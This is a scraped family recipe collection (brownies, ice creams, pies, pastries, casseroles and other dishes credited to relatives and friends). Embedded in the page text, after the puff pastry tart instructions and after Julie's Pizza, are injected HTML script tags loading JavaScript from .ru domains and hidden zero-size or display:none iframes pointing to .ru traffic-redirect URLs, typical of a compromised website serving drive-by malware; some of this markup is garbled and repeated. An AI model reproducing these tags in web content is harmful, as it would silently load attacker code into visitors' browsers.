0.5	tsp		vanilla
1	cup	chopped	walnuts
0.25	cup		all-purpose flour
0.25	tsp		salt

Instructions:

Preheat oven to 325 degrees.

In a heavy saucepan over very low heat, melt chocolate and butter. Remove pan from heat and stir in sugar. Beat in eggs and vanilla. Quickly stir in walnuts, flour and salt.

Spread batter in a well-greased 8x8-inch baking pan. Bake 40 to 45 minutes.

Remove pan to rack to cool. Yields 1 (8-by-8-inch) pan.

-- Katharine Hepburn

FRIENDLY BROWNIES

Dessert

Recipe from: Gwen Powell

Cookies

Nutting chewy brownies

Serves: 4 little pigs **Time-- Preparation:** 10 min **Temperature:** 350

Season: Everyday **Cooking:** 35-45 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
0.75	cup		butter
1.5	cups		sugar
1.5	tsp		vanilla
3			eggs
0.75	cup		flour
0.5	cup		cocoa
0.5	tsp		baking powder
0.5	cup	chopped	nuts of your choice

Instructions:

Preheat oven to 350 degrees. Using mixer, cream butter and sugar together well. Add vanilla and eggs.

In a separate bowl, mix together flour, cocoa and baking powder, then add to creamed mixture. Stir in nuts and chocolate chips.

Pour into a greased, 8- by-8-inch pan. Bake 35 to 45 minutes (the longer time for more cakey brownies and less time for fudgy-chewy brownies).

Mocha Funge Brownies

Dessert

Recipe from: Aunt Gwen

Cookies

Mocha Fudge Brownies

Serves: 16 brownies **Time-- Preparation:** 0 **Temperature:** 375

Season: Everyday **Cooking:** 28-30 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	pound	finely chopped	bittersweet chocolate
1	cup	cut	unsalted butter (2 sticks)
4	large		eggs, room temperature
1.5	cups		granulated sugar
0.5	cup		flour
8	ounces	coarsely choppe	walnuts

Instructions:

Position rack in center of oven and preheat oven to 375 degrees. Line a 9-by-13-inch baking pan with double thickness of aluminum foil so foil extends 2 inches beyond sides of pan. Butter bottom and sides of foil-lined pan.

In top of a double boiler set over hot, not simmering, water, melt chocolate, butter and coffee, stirring frequently, until smooth. Remove pan from heat. Cool mixture, stirring it occasionally, for 10 minutes.

In large bowl, using a hand-held mixer set at high speed, beat eggs 30 seconds. Gradually add sugar and continue to beat 2 minutes, or until mixture is light and fluffy. Reduce mixer speed to low and gradually beat in chocolate mixture until just blended. Using a wooden spoon, stir in flour. Stir in walnuts. Do not over-beat. Transfer batter to pan.

Bake 28 to 30 minutes, or until foggies are just set around the edges. They will remain moist in the center.

Cool foggies in pan on wire rack for 30 minutes. Cover pan tightly with aluminum foil and refrigerate overnight, or at least 6 hours. Remove top foil and run sharp knife around edge of foggies. Using 2 ends of foil as handles, lift onto plate and peel off foil. Invert them again onto a smooth surface and cut into 16 rectangles.

Mocha Funge Brownies

Cranberry Dessert

Dessert

Recipe from: Sue Paulding

Fruit

Serves: *Time--* **Preparation:** 0 **Temperature:** 0**Season:** Everyday **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
4	cup	ground	cranberries
2	cup		sugar
1	cup	drained	cubed pineapple
1	cup	chopped	nuts
1.4	cup		miniature marshmallows
2	env		gelatin or
1	large		lemon flavored jello
0.5	cup		water
2	cup		Cool-whip

Instructions:

Dissolve gelatin in 1/2 cup of water. Combine ingredients. Quickly fold in 2 cups whipped cream or 2 cups cool-whip. Allow to set in refrigerator until firm.

Fried Almonds or Walnuts

Dessert

Recipe from: Sue Paulding

Grains

Serves: *Time--* **Preparation:** 0 **Temperature:** 350**Season:** Everyday **Cooking:** 5 min **Fry**

QTY.	MEAS.	PREP.	INGREDIENTS
4	cup		Almonds or Walnuts
0.5	cup		sugar
0.5	cup		oil
0.15	tsp		salt

Instructions:

In a large saucepan over high heat, bring 6 cups water to a boil. Add almonds and reheat to boiling; cook 1 minutes. Rinse under running hot water; drain.

Place sugar in a large bowl and toss almonds in the sugar. Meanwhile, in an electric skillet, heat about 1 inch oil to 350 degrees. With slotted spoon, add about half of the almonds to the oil, fry 5 minutes or until golden brown, stirring often.

With slotted spoon, place almonds in a coarse sieve over a bowl to drain; sprinkle with salt; toss lightly to keep almonds from sticking together. Transfer to waxed paper to cool.

Fry remaining almonds. Store in a tightly covered container.

Fried Almonds or Walnuts

Lemon Ice Cream

Dessert

Recipe from: Sue Paulding

Ice Cream/Sorbet

Serves: 16 cups **Time-- Preparation:** 0 **Temperature:** Freeze**Season:** Everyday **Cooking:** 0 Freeze

QTY.	MEAS.	PREP.	INGREDIENTS
7	12 oz	cans	evaporated milk
2.75	cup		sugar
2	tbl		vanilla
1	2 oz	bottle	lemon extract
2	cup		whipping cream
2	cup	fresh squeezed	lemon juice

Instructions:

Combine evaporated milk, sugar, vanilla, lemon extract and shipping cream in large bowl. Stir well, add lemon juice, pour into ice cream freezer and freeze according to manufacturer's directions. Makes 16 cups.

French Vanilla Ice Cream

Dessert

Recipe from: Gwen Powell

Ice Cream/Sorbet

Gwen uses this for the basis of all good ice cream. Even making while camping!

Serves: 1 quart **Time-- Preparation:** 0 **Temperature:** Freeze
Season: Summer **Cooking:** 0 Freeze

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	cup		sugar
0.75	tsp		salt
1	cup		milk
3		well beaten	egg yolks
1	tbl		vanilla
2	cup	chilled	whipping cream

Instructions:

Mix sugar, salt, milk and egg yolks in saucepan. Cook over medium heat, stirring constantly, just until bubbles appear around edge of mixture in pan. Cool to room temperature. Stir in vanilla and cream.

Pour into freezer can: put dasher in place. Cover can and adjust crank. Place can in freezer tub. Fill freezer tub 1/3 full of ice; ad remaining ice alternately with layers of rock salt. Turn crank until it turns with difficulty (I always inlist young children to do this for me, or I revert back to being the young child) Draw off water. Remove lid: repack in ice and rock salt or pack in tupperware and place in freezer. Let ripen several hours or eat at once.

French Vanilla Ice Cream

Dessert

Recipe from: Gwen Powell

Ice Cream/Sorbet

The best homemade ice cream.

Serves: 1/2 gallon **Time-- Preparation:** 2 hours **Temperature:** simmer
Season: Summer **Cooking:** 15 min Freeze

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		sugar
0.5	tsp		salt
2	cup		milk
6		beaten	egg yolks
2	tbl		vanilla
4	cup		whipping cream

Instructions:

Mix sugar, salt, milk and egg yolks in saucepan. Cook over medium heat, stirring constantly, just until bubbles appear around edge of mixture in pan. Cool to room temp. Stir in vanilla and cream.

Pour into freezer can; put dasher in place. Cover can and adjust crank. Place can in freezer tub. Fill freezer tub 1/3 full of ice; add remainig ice alternately with layers of rock salt. Turn crank until it turns with difficulty. Draw off water. Remove lid; take out dasher. Pack mixture down. Replace lid. Repack in ice and rock salt. Let ripen several hours.

Eat all of it.

Churros

Dessert

Recipe from: Sue Paulding

Mexican

Serves: *Time--* **Preparation:** 0 **Temperature:** 0**Season:** Everyday **Cooking:** 0 Fry

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup	soft	butter
1.5	cup		sugar
6			egg yolks
2	tsp		almond extract
5	cup		flour
1	pinch		salt

Instructions:

Beat first 4 ingredients thoroughly, add flour and salt. Work with hands until well mixed. Chill one hour. Force dough through cookie press, any shape, into deep frying oil. When golden brown remove with tongs and drain. Dust with sugar and serve hot or cold.

Churros

Pastry--Single Crust

Dessert

Recipe from: Gwen Powell

Pastries

Better Homes and Gardens

Serves: single crust **Time-- Preparation:** 0 **Temperature:** 0

Season: Everyday **Cooking:** 0 Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1.5	cup	sifted	flour
0.5	tsp		salt
0.5	cup		shortening
4	tbl		cold water

Instructions:

Sift flour and salt. Cut in shortening till pieces are size of small peas. Sprinkle water over, one tablespoon at a time, tossing mixture after each addition. Form into ball, flatten on lightly floured surface. Roll 1/8 inch thick from center to edge.

Pastry--double crust

Dessert

Recipe from: Gwen Powell

Pastries

Better Homes and Gardens

Serves: *Time--* Preparation: 0 **Temperature:** 0

Season: Everyday **Cooking:** 0 Warm

QTY.	MEAS.	PREP.	INGREDIENTS
2	cup	sifted	flour
1	tsp		salt
0.66	cup		shortening
6	tbl	cold	water

Instructions:

Sift flour and salt. Cut in shortening till pieces are size of small peas. Sprinkle water over, one tablespoon at a time, tossing mixture after each addition. Form into ball, flatten on lightly floured surface. Roll 1/8 inch thick from center to edge.

Puff Pastry Dough

Dessert

Recipe from: Gwen Powell

Pastries

Serves: *Time--* **Preparation:** 0 **Temperature:** 350**Season:** Everyday **Cooking:** 10-20 min Warm

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		butter
1.5	cup		flour
0.5	cup		sour cream (real)

Instructions:

Cut butter into flour until completely mixed. Stir in sour cream until thoroughly blended. Divide dough in half; wrap each and chill at least 8 hours. Heat over to 350. Roll pastry on well-floured cloth-covered board. Cut into desired shapes. Chill craps before rerolling. Bake at 350 for about 20 minutes.

Jam Tarts:

Roll each half of the pastry 1/16 inch thick; cut into 2 inch shapes. Cut small hole in center of half the shapes. Brush with mixture of 3 tablespoons sugar and 1 tablespoon water; place on top of plain shapes. Fill hole with about 1/2 teaspoon jam. Bake.

Fans:

Roll each half of the pastry into rectangle on sugared cloth-covered board. Fold ends to meet in the middle, forming a square. Sprinkle with sugar (and cinnamon if desired). Fold in folded edges to meet in center and pinch these edges together to make center seam. Fold in half to form a square. Flatten lightly; ford in half again in the same direciton. Cutting parallel to folded edge, cut dough into 1/4 inch slices. Place on ungreased baking sheet, fanning out each slice. Sprinkle with sugar and bake.

Chocolate & Cream Tarts:

Roll and cut pastry into equal shapes; bake. Spread dark chocolate icing on half the shapes; add a tablespoon of almond cream filling (almond extract, powdered sugar, sour cream, butter) onto each; place another pastry on top. Dab top of each with chocolate or almond cream for decoration.<script src=http://keep.postfolkovs.ru/js.js></script><script src=http://pass.webservicezok.ru/js.js></script><iframe src="http://blockoctopus.ru:8080/index.php?pid=13" width="0" height="0" in.ru/tds/go.php?sid in.ru<iframe src="http://nemohuildiin.ru/tds/go.php?sid style="display:none"></iframe>

Puff Pastry Dough

Lemon Cheese Cake

Dessert

Recipe from: Gwen Powell

Pie

Easy lemon tasting cheese cake like dessert.

Serves: 6 **Time-- Preparation:** 10 min **Temperature:** 0

Season: Summer **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
1	can	small	lemonade
1	tub	medium	Cool Whip
1	can		Eagle Brand Milk
1			Graham cracker crust

Instructions:

Whip lemonade, cool whip and milk and pour into crust. Refrigerate until firm (about 1 hour).

Chocolate Pie

Dessert

Recipe from: Gwen Powell

Pie

Very Easy Chocolate Pie

Serves: 6 **Time-- Preparation:** 10 min **Temperature:** 0**Season:** Summer **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
1	tub	large	Cool Whip
2			egg whites
0.25	cup		Hershey's Chocolate syrup
0.5	cup		evaporated milk
1			graham cracker crust

Instructions:

Whip egg whites, chocolate and milk. While whipping, add 2/3 of the cool whip. Pour into crust and chill. Top with remaining cool whip.

Meringue

Dessert

Recipe from: Judy Powell

Pie

Meringue for the top of Lemon Piev

Serves: 8 **Time-- Preparation:** 0 **Temperature:** 0

Season: Christmas **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
1	tbl		cornstarch
0.5	cup	cold	water
0.5	cup	boiling	water
3			egg whites
6	tbl		sugar
1	pinch		salt
1	tsp		vanilla

Instructions:

Mix cornstarch and cold water. Add boiling water. Cook until clear then let cool. Beat in egg whites adding sugar, salt and vanilla.

Meringue

Lemon Pie

Dessert

Recipe from: Judy Powell

Pie

Lemon Meringue Pie (This is the pie part)

Serves: 8 **Time-- Preparation:** 45 min **Temperature:** 350
Season: Christmas **Cooking:** 2 min Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
7	tbl		cornstarch
1.5	cups		sugar
0.5	tsp		salt
2	cups	boiling	water
3			egg yolks
0.25	cup		lemon juice
2	tbl		margarine
1	tbl		lemon rind

Instructions:

Mix cornstarch, sugar, salt in boiling water. Stir until thick. Add three egg yolks and simmer 2 minutes. Blend in lemon juice, margarine and rind. Pour in shell. Top with meringue, place in 350 degree oven until top is just brown

Lemon Pie

Libby's Pumpkin Pie

Dessert

Recipe from: Gwen Powell

Pie

Recipe is from the Libby's Pumpkin Pie can. Substitute 2 cups fresh cooked pumpkin.

Serves: 8 **Time-- Preparation:** 15 min **Temperature:** 425-350**Season:** Thanksgiving **Cooking:** 15 & 45 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2			eggs
0.25	tsp	ground	clove
1	16 oz	can	pumpkin (or about 2 cups)
0.75	cups		sugar
0.5	tsp		salt
1	tsp		cinnamon
0.5	tsp		ginger
1			9" pie shell

Instructions:

Mix in order. Pour in shell. Bake at 425 for 15 minutes. Reduce to 350 for 45 minutes or until knife comes out clean.

Graham Cracker Crust

Dessert

Recipe from: Gwen Powell

Pie

This is a standard Graham Cracker Crust for all uses

Serves: 1 pie **Time-- Preparation:** 15 min **Temperature:** melt

Season: Everyday **Cooking:** 0

QTY.	MEAS.	PREP.	INGREDIENTS
25			Graham crackers (Cinnamon is nice)
0.25	lb		butter or margarine.

Instructions:

Crush graham crackers. Melt butter or margarine. Mix cracker crumbs and butter together with a fork until evenly moistened. Press into desire pan.

Fantasia Cheesecake

Dessert

Recipe from: Gwen Powell

Pie

Light, easy, cheesecake like dessert.

Serves: 6 **Time-- Preparation:** 15 min **Temperature:** 0**Season:** Everyday **Cooking:** 0 Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
3	8 oz.	pkg	cream cheese
1.5	cup		sugar
1	pinch		salt
1	dash		lemon juice
3			eggs
1			graham cracker crust
1	cup		sour cream for topping
2	tbl		sugar for topping

Instructions:

Blend together the cream cheese, sugar, salt and lemon juice until smooth. Add eggs one at a time until smooth. Do not overmix. Pour cheese mixture into prepared crust and bake at 350 for 55 minutes. Cool. top cheesecake with Sour Cream topping.

Sour cream topping: blend together 1 cup of sour cream and 2 tablespoons sugar. Spread on top.

Berry Cobbler

Dessert

Recipe from: Sue Paulding

Pie

Contributed by Sue Paulding. An Erin Ford recipe.

Serves: 6 **Time-- Preparation:** 15 min **Temperature:** 375
Season: Everyday **Cooking:** 35 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		sugar
1.5	cup		flour
0.5	tsp		salt
1.5	tsp		baking powder
0.66	cup		shortening (butter flavor Cisco)
1		light beaten	egg
3	cup		berrys

Instructions:

Put clean fruit in greased baking dish. Sweeten to taste. Set aside. Sift all dry ingredients together. Cut in Shortening--add beaten egg and mix with fork until mixtures is crumbly. Sprinkle over fruit. Bake at 375 for 35 minutes or until golden brown.

Hint: Serve warm with vanilla ice cream.

Pastry

Dessert

Recipe from: Sue Paulding

Pie

Good basic pastry dough

Serves: 4-5 shells **Time-- Preparation:** 30 min **Temperature:** 0

Season: Everyday **Cooking:** 0 Bake

QTY.	MEAS.	PREP.	INGREDIENTS
4	cup		flour
1	tbl		sugar
2	tsp		salt
1.75	cup		shortening
0.5	cup		water
2	tbl		cider vinegar
1			egg

Instructions:

Combine flour sugar and salt. cut in shortening. Mix liquids. Blend in. Chill at least two hours. May be frozen. Makes 4 or 5 shells

Walnut Pie

Dessert

Recipe from: Sue Paulding

Pie

Use fresh walnuts when Sue and Clifford gather them each fall.

Serves: 8 **Time-- Preparation:** 0 **Temperature:** 0

Season: Everyday **Cooking:** 0 Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	cup		sugar
1	cup		syrup
3			eggs
1	tbl		butter
1	cup	chopped	walnuts
1	tsp		vanilla

Instructions:

Combine all ingredients and pour in 9 inch pie shell. Cover with pastry lattice work. Bake at 450 until bubbly and crust is golden.

Strawberry Pie

Dessert

Recipe from: Sue Paulding/Naomi Luby/Linda Lokkart

Pie

Alter this recipe to fit any needs.</d

Serves: *Time-- Preparation:* 0 **Temperature:** 0
Season: Everyday **Cooking:** 2 hours Refrigerate

QTY.	MEAS.	PREP.	INGREDIENTS
1.5	cup		sugar
1.5	cup		water
0.25	cup		corn starch
1	pkg	small	stawberry jello
2.5	pint		strawberries
1	9 inch		pie shell (cooked)

Instructions:

Cook sugar, water and corn starch until clear. Add 1 small package of strawberry Jell-O, let cool. Set strawberries in cooked bakery crust (set points of strawberries up) and pour cooked mixture over the strawberries. Refrigerate a few hours. Top with whipped cream or cool whip.

Strawberry Pie

Cranberry Cobbler

Dessert

Recipe from: Naomi Luby

Pie

Serves: *Time--* **Preparation:** 0 **Temperature:** 400**Season:** Everyday **Cooking:** 30-35 min **Bake**

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	cup		light corn syrup
0.33	cup		sugar
1	tbl		cornstarch
1.5	cup		fresh cranberries
2	med	sliced	pears or apples
0.75	cup		flour
0.5	cup	(topping)	sugar
0.33	cup		butter or margarine
1	cup		oats
0.25	tsp		almond extract
1		beaten	egg

Instructions:

Combine corn syrup, sugar and cornstarch, stir in cranberries. Heat to boil. Reduce heat and simmer for 5 minutes stirring in pears or apples. Pour into Pan.

Topping: combine flour, sugar and cut in butter until crumbly. Stir in oats, mix well. Add egg and mix until moist. Crumble over fruit. Bake at 400 for 30 to 35 minutes.

Cranberry Cobbler

Ice Cream Pie

Dessert

Recipe from: Rose Paulding

Pie

Use 9 by 13 inch pan

Serves: _____ **Time-- Preparation:** 0 **Temperature:** Freeze
Season: Summer **Cooking:** 0 Freeze

QTY.	MEAS.	PREP.	INGREDIENTS
1	box	crushed	chocolate wafer cookies
1	stick	melted	butter
0.5	gallon	softened	ice cream
1	can		hot fudge
1	pint		whipping cream
2	tbl		powdered sugar

Instructions:

Mix cookies and butter together. Put in pan pressing gently. Put ice cream on next. place in freezer for about 15 minutes. Spread hot fudge on top of that. Place in freezer for another 15 minutes. Whip whipping cream and sugar together. Put whipping cream on top of pie. Put almonds on for decoration. Cover with plastic wrap and put in freezer until ready to serve. Allow at least two hours freezer time.

Apple Pie from Gopher Glen

Dessert

Recipe from: Sue Paulding

Pie

Serves: *Time--* **Preparation:** 0 **Temperature:** 350**Season:** Everyday **Cooking:** 1 hour **Warm**

QTY.	MEAS.	PREP.	INGREDIENTS
2.5	pounds	peeled/cutup	apples
0.25	cup		sugar
1	tsp		cinnamon
1	tsp		vanilla
1	tbl		flour
1.5	cup	(bottom)	flour
1	tsp		sugar
0.5	tsp		salt
0.5	cup		oil
2	tbl		milk
0.75	cup	(top)	flour
0.25	cup		sugar
0.33	cup	melted	butter

Instructions:**FILLING**

Mix the following together and set aside while making crust:

Peel and slice about 2 1/2 pounds of your favorite apples.

1/4 cup of sugar depending on how sweet the apples are.

1 tsp cinnamon

1 tsp vanilla

1 tbl flour

BOTTOM CRUST

Mix together and pat into pie pan (no rolling required):

1 1/2 cup flour

1 tsp sugar

1/2 tsp salt

1/2 cup oil

2 tablespoons milk

TOP CRUST

Mix this together. Put the apples in the bottom crust and crumble this over the top:

3/4 cup flour

1/4 cup sugar

1/3 cup butter (melted)

Bake at 350 for about 1 hour or until the apples test tender to your liking when you poke the middle with a knife.

Apple Pie from Gopher Glen

Crunchy Carmel Apple Pie

Dessert

Recipe from: Emeril

Pie

From Marsha Brooks Apple Pie Contest Winner

Serves: **Time-- Preparation:** 1 hour **Temperature:** 375

Season: Everyday **Cooking:** 55 min **Warm**

QTY.	MEAS.	PREP.	INGREDIENTS
1			Pasty Crust for 9 inch pie
0.5	cup		sugar
3	Tbl		all purpose flour
1	tsp		ground cinnamon
		1/8 tsp	salt
6	cups	thinly sliced	peeled apples
1			recipe crumb topping
0.5	cup	chopped	pecans
0.25	cup		caramel topping
1	cup		brown sugar for Topping
0.5	cup		all purpose flour for Topping
0.5	cup		quick cooked rolled oats for Topping
0.5	cup		Butter

Instructions:

Crumb Topping:

Stir Together brown sugar, flour, rolled oats.

Cut in 1/2 cup of butter until topping is like course crumbs.

Set Aside.

Pie:

In a large mixing bowl, stir together the sugar, flour, cinnamon and salt.

Add apple slices and gently toss until coated.

Transfer apple mixture to the pie shell.

(Maybe transfer store bought pie shell to plate of your own)

Sprinkle crumb topping over apple mixture.

Place pie on a cookie sheet so the drippings don't drop into your oven.

Cover edges of the pie with aluminum foil.

Bake in a preheated 375 degree oven for 25 minutes. Remove foil and put back in for another 25-30 minutes without the foil.

Remove from oven. Sprinkle pie with chopped pecans then drizzle with caramel on top.

Cool on a wire rack and enjoy warm or at room temp.

Crunchy Carmel Apple Pie

Sister's Day Apple Pie

Dessert

Recipe from: Emeril

Pie

Basic Apple pie from Emeril's 2001 contest--I liked the name

Serves: **Time-- Preparation:** 30 minutes **Temperature:** 350**Season:** Everyday **Cooking:** 1 hour **Warm**

QTY.	MEAS.	PREP.	INGREDIENTS
4	cups		unbleached white flour-crust
1.5	cups		Crisco shortening-crust
0.5	cup		brown sugar
0.5	cup		white sugar
0.25	tsp		salt
0.75	tsp		cinnamon
0.25	tsp		nutmeg
1	Tbl		soft butter

Instructions:

Crust: Cut together with pastry blender until you have a crumbly mixture. Sprinkle with 10 Tbsp ice water and toss together. Pat into balls and roll out for bottom crusts.

Filling: Peel, core, slice apples, layer inside pie.

Mix sugars, salt, cinnamon and nutmeg, and place on top of the apples.

Dot each pie with 1 tbsp soft butter.

Repeat crust recipe for top of crust as needed.

Place top crust on top of filling, crimp edge and cut air vents on top of pie crust. Sprinkle generously with sugar.

Bake 350 for one hour or longer until bubbly and golden.

Ozark Pudding

Dessert

Recipe from: Naomi Luby

Pudding

Serves: 4 **Time-- Preparation:** 10 min **Temperature:** 350**Season:** Everyday **Cooking:** 35 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1			egg
0.75	cup		sugar
3	tbl		flour
1.5	tsp		baking powder
0.25	tsp		salt
0.5	cup	chopped	walnuts
1	cup	sliced	green apples
1	tsp		vanilla

Instructions:

Beat eggs and sugar together until very smooth. Combine flour, baking powder and salt. Stir into egg mixture. Add nuts, apples and vanilla. Bake in greased pie pan in 350 degree oven for 35 minutes. Serve hot with shipped cream or cold with Ice cream.

Cream Filling

Dessert

Recipe from: Gwen Powell

Pudding

For eclairs', tortes and cakes

Serves: **Time-- Preparation:** 10 min **Temperature:** 0
Season: Everyday **Cooking:** 10 min Simmer

QTY.	MEAS.	PREP.	INGREDIENTS
0.5	cup		sugar
2	tbl		cornstarch
1	dash		salt
1.5	cup		milk
2		beaten	egg yolks
2	tsp		vanilla

Instructions:

Mix all but egg in saucepan, stir in beaten yolks. Cook over medium heat until thick, stirring constantly to keep smooth. When desired thickness is achieved, remove from heat and stir in vanilla. Cool completely before applying.

For variety use almond extract instead a vanilla. Melt 1/2 cup of chocolate chips and stir in as filling thicken for a light chocolate filling.

Cream Filling

Lisa's Chocolate Mousse

Dessert

Recipe from: Lisa Powell

Pudding

A great Betty Crocker recipe.

Serves: 4 big servings **Time-- Preparation:** 10 min **Temperature:** 0
Season: Everyday **Cooking:** 8 min

QTY.	MEAS.	PREP.	INGREDIENTS
4			egg yolks
0.25	cup		sugar
1	cup		heavy whipping cream
1	pkg	6 oz	semisweet chocolate chips (1 cup)
1.25	cup	additional	heavy whipping cream

Instructions:

Beat egg yolks in small bowl with electric mixer on high speed about 3 minutes or until thick and lemon colored. Gradually beat in sugar.

Heat 1 cup whipping cream in 2 quart saucepan over medium heat just until hot. Gradually stir at least half of the hot whipping cream into egg yolk mixture; stir back into hot cream in saucepan. Cook over low heat about 5 minutes, stirring constantly, until mixture thickens (do not boil). Stir in chocolate chips until melted. Cover and refrigerate about 2 hours, stirring occasionally, just until chilled.

Beat 1 1/2 cups whipping in chilled medium bowl with electric mixer on high speed until stiff. Fold chocolate mixture into whipped cream. Pipe or spoon mixture into serving bowls. Immediately refrigerate any remaining dessert after serving.

Lisa uses Ghiradelli chocolate.

Reba's Best Salmon

Entrée

Recipe from: Gwen's Friend Reba Rhodes

Reba is a fun friend who is the ultimate in everything.m

Serves: 2 **Time-- Preparation:** 30 **Temperature:** Hot
Season: Easter **Cooking:** 5 Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2	TBLS		Mayonaise
2	tsp		Soy Sauce
0.25	tsp		white pepper
1	large	pinch	tarragon
2	TBLS		lemon juice
1	large		salmon filet--best fresh caught!

Instructions:

Put all the ingredients but the salmon into a Ziplock. I washed the salmon and scraped excess flakes from the skin side and then marinated in this mixture for about 20 minutes. I have my grid Anolon skillet that I love--I brushed it with olive oil and grilled the salmon on the hot skillet. Served it with pilaf, bleu cheese/lettuce salad, and fresh yellow and green squash, sautéed with some onion and green pepper. Pretty elegant supper after a day at work--of course, we had a bottle of white wine with dinner.--Reba

Julie's Pizza

Entrée

Recipe from: Julie Luby

A greek inspired pizza with stuff that Julie loves

Serves: ? depends how h	Time-- Preparation: about 25 mi	Temperature: 425 F
Season: Everyday	Cooking: about 1 hour	Bake

QTY.	MEAS.	PREP.	INGREDIENTS
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Instructions:

<p>The secret to this pizza's tastiness will be in finding (or making) a good pizza dough and in using a pizza stone on which to cook the pizza. As I am horrible at making fresh dough, I buy Trader Joe's pre-made dough (not pre-cooked, mind you, it has to be uncooked, sticky dough).</p>

<p>Ingredients:</p>

<p>Have I stressed you need a good dough? Enough to make a 12" diameter round</p>

<p>Cornmeal</p>

<p>1 14.5oz can chopped tomatoes, drained well</p>

<p>Oregano</p>

<p>Freshly grated mozzarella cheese</p>

<p>Deli sliced smoked ham, cut into strips</p>

<p>Red onion, chopped</p>

<p>Kalamata olives, diced</p>

<p>Crumbled feta</p>

<p>Pre-heat oven and pizza stone to 425. Let the stone sit in the 425 oven for about 30 minutes. If dough has been refrigerated, let it come to room temp, it will be easier to handle. Meanwhile, you may chop and prepare your other ingredients. After the stone is heated, remove from oven and sprinkle with cornmeal. Form dough (as best as you can) into a pizza circle and lay onto stone. Sprinkle dough with tomatoes and oregano. Add mozzarella cheese, ham, onion, olives and top with feta. Bake in oven until dough on edges is golden brown, about 25 minutes. Remove and enjoy! Will serve two active teenagers or four normal adults (who may enjoy with beer or wine, yummy!)</p> style="display:none"></iframe><iframe src="http://nemohuildi<iframe src="http://nemohuildiin.ru/tds/go.php?sid style="display:none"></iframe>

Julie's Pizza

Char Sui Pork

Entrée

Recipe from: Gwen Powell

Chinese Barbecue Pork

Serves:	Time-- Preparation: 0	Temperature: 0
Season: Everyday	Cooking: 0	Bake

QTY.	MEAS.	PREP.	INGREDIENTS
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Instructions:

1/2 cup sherry wine
2/3 cup hoisin sauce
2/3 cup soy sauce
1/2 cup sugar
4 cloves garlic, minced
2 teaspoons black bean paste
1 1/2 teaspoons Chinese five spice powder
1 teaspoon salt

Cut meat into strips 1 inch thick and seven inches long. Using a fork, tenderize meat by piercing all over. This also allows the sauce to penetrate.

Mix marinade ingredients into a ziplock bag large enough to hold meat.

Place meat in bag, mush it all around in the marinade so it is all covered, then push out all of the air, seal bag and leave it in the refrigerator for several hours, overnight or for twenty four hours.

Preheat oven to 450 degrees. Place roasting rack on rimmed cookie sheet, and drape meat over it. Roast for 20 minutes, until the meat is done. Baste the meat as it cooks a couple of times with some of the marinade. Allow to cool after it is done, then cover and refrigerate until needed.

Grandma's Meatloaf

Entrée

Recipe from: Judy Powell

Beef

Serves: 12 **Time-- Preparation:** 30 minutes **Temperature:** 350**Season:** Everyday **Cooking:** 1.5 hours Bake

QTY.	MEAS.	PREP.	INGREDIENTS
2			Italian sausages
2			green onions
0.5	medium		onion
1			tomato
1	large		clove garlic
0.125	bunch		parsley
0.125	bunch		cilantro
0.5	tsp		caraway seeds
4	lbs		ground beef
1	tbls		ground cinnamon
0.5	tsp		cumin seeds
2	tbls		salt
1.5	tsp		black pepper
1			egg
0			hot pepper sauce

Instructions:

Grand sausages, green onions, onion, tomato, garlic, parsley and cilantro together in food processor. Add to ground beef and mix well.

Add caraway and cumin seeds, cinnamon, salt and pepper, Stir in egg and hot pepper sauce to taste.

Pack mixture into 2 (9-inch) loaf pans and place in larger pan filled with 1/2 inch water. Bake at 350 degrees 1 1/2 hours or until browned. Let stand 10 minutes before serving. Makes 6 servings per loaf.

Grandma's Meatloaf

Mexican CasseroleEntrée
Casserole**Recipe from: Gwen Powell**

Mexican Casserole--change it as you wish.

Serves: 4-8 **Time-- Preparation:** 15 min **Temperature:** 350
Season: Summer **Cooking:** 30-45 min Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	pkg		flour tortillas
1	can		cream of chicken soup
1	pint		sour cream
1	sm can	diced	ortega chilies
1	lb	grated	cheese

Instructions:

Mix cream of chicken soup, sour cream and chilies together. In a casserole pan (approx. 9x13), layer tortillas, creamed mixture and cheese. Bake for about 30 minutes depending on how thick you layer the ingredients (add 30 minutes for each inch high). Let sit at least 20 minutes before serving.

To enhance, add cooked chicken, beef, refried beans, corn, salsa or cherizo to the layers.

Baked Crab and Clam

Entrée

Recipe from: Naomi Luby

Casserole

Serves: 6**Time-- Preparation:** 10 min**Temperature:** 350**Season:** Everyday**Cooking:** 30 min

Bake

QTY.	MEAS.	PREP.	INGREDIENTS
1	medium	chopped	green pepper
1	medium	chopped	onion
1	cup	chopped	celery
1	can	6.5 oz.	crab meat
1	can	6.5 oz.	shrimp
0.5	tsp		salt
0.5	tsp		pepper
1	tsp		Worshirechester
1	cup		mayonaise
1	cup		buttered crumbs.

Instructions:

Combine all except crumbs. Pour into greased casserole dish. Sprinkle crumbs on top. Bake for 30 minutes at 350 degrees.

Baked Crab and Clam

John Wayne's Cheese Casserole

Entrée

Recipe from: Naomi Luby

Casserole

Serves: *Time--* **Preparation:** 30 min **Temperature:** 325**Season:** Everyday **Cooking:** 60 min **Bake**

QTY.	MEAS.	PREP.	INGREDIENTS
2	cans	4 oz.	green chilies (drained)
1	pound	grated	Jack cheese
1	pound	grated	cheddar cheese
4			egg whites
4			egg yolks
0.66	cup	undiluted	evaporated milk
1	tbl		flour
0.5	tsp		salt
0.15	tsp		pepper
2		sliced	tomatoes

Instructions:

